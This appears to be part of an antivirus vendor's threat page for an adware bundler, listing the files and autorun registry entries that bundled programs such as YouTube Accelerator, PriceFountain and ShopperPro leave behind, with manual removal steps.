%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\cabex.dll (98 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG24C4.tmp (91110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK1EB8.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF24C5.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC1CA4.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM20BC.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\73Q0UD5M4N8OG2Y65C9Q.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9843ISGDOT42BND5K8IE.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8KBN7EXD8D3FSBC2X7CR.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\Uninstall PriceFountain.lnk (991 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainUpdateVer.exe (61948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe (10226 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\installation.log (8322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\PriceFountainUpdateVer.exe (3556 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain.url (249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain Help.url (257 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\sfx.exe (63715 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (26724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\nsProcess.dll (12 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F03.tmp (346661 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\AccDownload.dll (11671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
%Program Files% (x86)\7-Zip\Lang\fr.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\uz.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\is.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\fi.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\pt-br.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\de.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\sr-spl.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\es.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\hy.txt (784 bytes)
%Program Files% (x86)\7-Zip\descript.ion (333 bytes)
%Program Files% (x86)\7-Zip\Lang\af.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\pl.txt (14 bytes)
%Program Files% (x86)\7-Zip\7z.exe (5520 bytes)
%Program Files% (x86)\7-Zip\Lang\cy.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\kk.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\bn.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\da.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\br.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\cs.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\tt.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ta.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\sk.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\en.ttt (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDE0.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\7-Zip\Lang\tr.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\uk.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\hr.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\th.txt (784 bytes)
%Program Files% (x86)\7-Zip\7-zip.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip\7-Zip File Manager.lnk (980 bytes)
%Program Files% (x86)\7-Zip\7zFM.exe (14605 bytes)
%Program Files% (x86)\7-Zip\Lang\el.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\bg.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\he.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ka.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ext.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\nn.txt (11 bytes)
%Program Files% (x86)\7-Zip\Lang\az.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\sa.txt (784 bytes)
%Program Files% (x86)\7-Zip\7zG.exe (8184 bytes)
%Program Files% (x86)\7-Zip\Lang\eo.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\eu.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\si.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\fa.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\it.txt (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDE0.tmp\ioSpecial.ini (3847 bytes)
%Program Files% (x86)\7-Zip\Lang\sl.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\ms.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\ne.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\id.txt (13 bytes)
%Program Files% (x86)\7-Zip\7z.dll (30464 bytes)
%Program Files% (x86)\7-Zip\History.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\io.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\lv.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\sq.txt (11 bytes)
%Program Files% (x86)\7-Zip\Lang\hu.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\nl.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\vi.txt (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFDE0.tmp\InstallOptions.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFDCF.tmp (75287 bytes)
%Program Files% (x86)\7-Zip\Lang\ast.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\mr.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\mk.txt (15 bytes)
%Program Files% (x86)\7-Zip\Lang\hi.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ja.txt (15 bytes)
%Program Files% (x86)\7-Zip\Lang\et.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ro.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\gu.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\nb.txt (11 bytes)
%Program Files% (x86)\7-Zip\License.txt (1 bytes)
%Program Files% (x86)\7-Zip\Lang\lt.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ku-ckb.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\sr-spc.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\va.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\zh-tw.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\zh-cn.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\pa-in.txt (784 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip\7-Zip Help.lnk (985 bytes)
%Program Files% (x86)\7-Zip\Lang\ps.txt (15 bytes)
%Program Files% (x86)\7-Zip\Uninstall.exe (255 bytes)
%Program Files% (x86)\7-Zip\Lang\ar.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\fy.txt (12 bytes)
%Program Files% (x86)\7-Zip\Lang\pt.txt (14 bytes)
%Program Files% (x86)\7-Zip\readme.txt (1 bytes)
%Program Files% (x86)\7-Zip\Lang\be.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\sv.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ug.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\mn.txt (14 bytes)
%Program Files% (x86)\7-Zip\7zCon.sfx (5520 bytes)
%Program Files% (x86)\7-Zip\7z.sfx (5520 bytes)
%Program Files% (x86)\7-Zip\7-zip.chm (3312 bytes)
%Program Files% (x86)\7-Zip\Lang\gl.txt (10 bytes)
%Program Files% (x86)\7-Zip\Lang\ba.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\fur.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ko.txt (14 bytes)
%Program Files% (x86)\7-Zip\Lang\ru.txt (784 bytes)
%Program Files% (x86)\7-Zip\Lang\ca.txt (13 bytes)
%Program Files% (x86)\7-Zip\Lang\ku.txt (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_0ff7891c\Report.wer (194484 bytes)
C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.sys (52 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\config.json (770 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\setup.exe (1584890 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse39D5.tmp (152959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\setup1.exe (142646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu39E6.tmp\D1958.dll (30 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\nsProcess.dll (12 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj422E.tmp (133285 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_2124\ins_postInst.exe (3978 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_2124\ins_yta.exe (29405 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\main.log (8406 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1024 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~dlAD2F\~dlxz\jieya.dll (410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\DCytaiesmt_smtyc_setup.exe (376835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\7E5344D40EB28303 (34561 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD98.tmp (37336 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseDA8.tmp\NK.lky (16 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"pricefountainw.exe" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe HKEY_CURRENT_USER Software\PriceFountain"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_ef16605e62

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_ef16605e62

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet